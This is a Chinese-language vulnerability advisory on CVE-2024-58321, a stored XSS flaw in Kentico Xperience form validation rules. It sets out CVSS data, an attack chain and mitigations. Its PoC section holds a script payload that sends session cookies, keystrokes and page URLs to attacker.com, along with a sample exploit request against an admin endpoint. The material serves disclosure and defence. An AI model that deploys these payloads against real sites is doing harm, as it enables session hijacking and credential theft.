IPBUF安全漏洞报告
English
CVE-2024-58321 CVSS 5.4 中危

CVE-2024-58321: Kentico Xperience 表单验证规则存储型XSS漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2024-58321
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Kentico Xperience

相关标签

CVE-2024-58321存储型XSSKentico Xperience跨站脚本攻击表单验证Web应用安全CMS漏洞中危漏洞会话劫持权限提升

漏洞概述

CVE-2024-58321是Kentico Xperience中的一个存储型跨站脚本(Stored Cross-Site Scripting)漏洞。该漏洞存在于表单验证规则配置功能中,允许低权限攻击者通过精心构造的恶意脚本注入到表单验证规则中。由于是存储型XSS,恶意脚本会被永久保存在服务器端,当其他用户访问或管理相关表单时,恶意代码会在其浏览器中执行。攻击者可利用此漏洞窃取会话Cookie、劫持用户会话、进行钓鱼攻击或修改页面内容,对应用程序的安全性造成严重影响。该漏洞的CVSS评分为5.4,属于中危级别,需要用户交互才能触发,攻击复杂度较低。

技术细节

该存储型XSS漏洞存在于Kentico Xperience的表单验证规则配置模块。攻击者以低权限用户身份登录系统后,可访问表单验证规则配置功能。在配置验证规则时,攻击者将恶意JavaScript代码注入到验证规则的参数中。由于应用程序未对用户输入进行充分的输出编码和验证,恶意脚本被存储在数据库中。当管理员或其他用户在后台管理界面查看或编辑这些表单时,受污染的数据被加载并直接渲染到HTML页面中,导致恶意脚本在受害者浏览器中执行。由于攻击者需要诱导受害者访问特定页面或执行特定操作,该漏洞被标记为需要用户交互(UI:R)。攻击者可利用窃取的会话凭证进一步提升权限或执行其他恶意操作。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标网站使用Kentico Xperience CMS,并确定存在表单验证规则配置功能
STEP 2
步骤2
初始访问:攻击者获取Kentico Xperience的低权限账户(如内容编辑者权限)
STEP 3
步骤3
漏洞利用:攻击者访问表单验证规则配置页面,在验证规则参数中注入恶意JavaScript代码
STEP 4
步骤4
持久化:恶意脚本被存储在数据库中,成为永久性攻击向量
STEP 5
步骤5
触发:具有管理权限的用户访问或编辑包含恶意代码的表单验证规则
STEP 6
步骤6
执行:恶意JavaScript在管理员浏览器中执行,窃取会话Cookie或执行其他恶意操作
STEP 7
步骤7
权限提升:攻击者利用窃取的凭证劫持管理员会话,获取更高系统权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2024-58321 - Kentico Xperience Stored XSS PoC // Description: Stored XSS via form validation rule configuration // CVSS: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) // Step 1: Login to Kentico Xperience with low-privilege account // Step 2: Navigate to Form Builder or Validation Rules section // Step 3: Create or edit a validation rule // Step 4: Inject the following XSS payload in validation rule parameter: const xssPayload = ` <script> // Steal session cookies document.write('<img src="https://attacker.com/log?cookie=' + document.cookie + '"/>'); // Alternative payload - keylogger document.addEventListener('keypress', function(e) { fetch('https://attacker.com/keys?k=' + e.key); }); // Session hijacking fetch('https://attacker.com/api/session', { method: 'POST', body: JSON.stringify({ cookie: document.cookie, url: window.location.href }) }); </script> `; // Step 5: Save the validation rule // Step 6: When admin views the form validation rules, XSS executes // Example validation rule injection: const exploitRequest = { method: 'POST', path: '/CMSModules/Forms/Controls/ValidationRule/Edit.aspx', data: { ValidationRuleName: 'CustomValidator', ValidationRuleType: 'Custom', // Inject XSS payload here ErrorMessage: xssPayload, RuleParameters: xssPayload } };

影响范围

Kentico Xperience < 13.0.200
Kentico Xperience 13.x < 最新补丁版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制低权限用户对表单验证规则配置功能的访问权限;2) 启用输入过滤机制,对特殊字符如<、>、"、'等进行转义;3) 部署Web应用防火墙(WAF)规则检测和阻止XSS攻击载荷;4) 监控日志中的异常请求模式;5) 对管理后台实施严格的访问控制,启用双因素认证;6) 定期备份数据库以便发生安全事件时快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表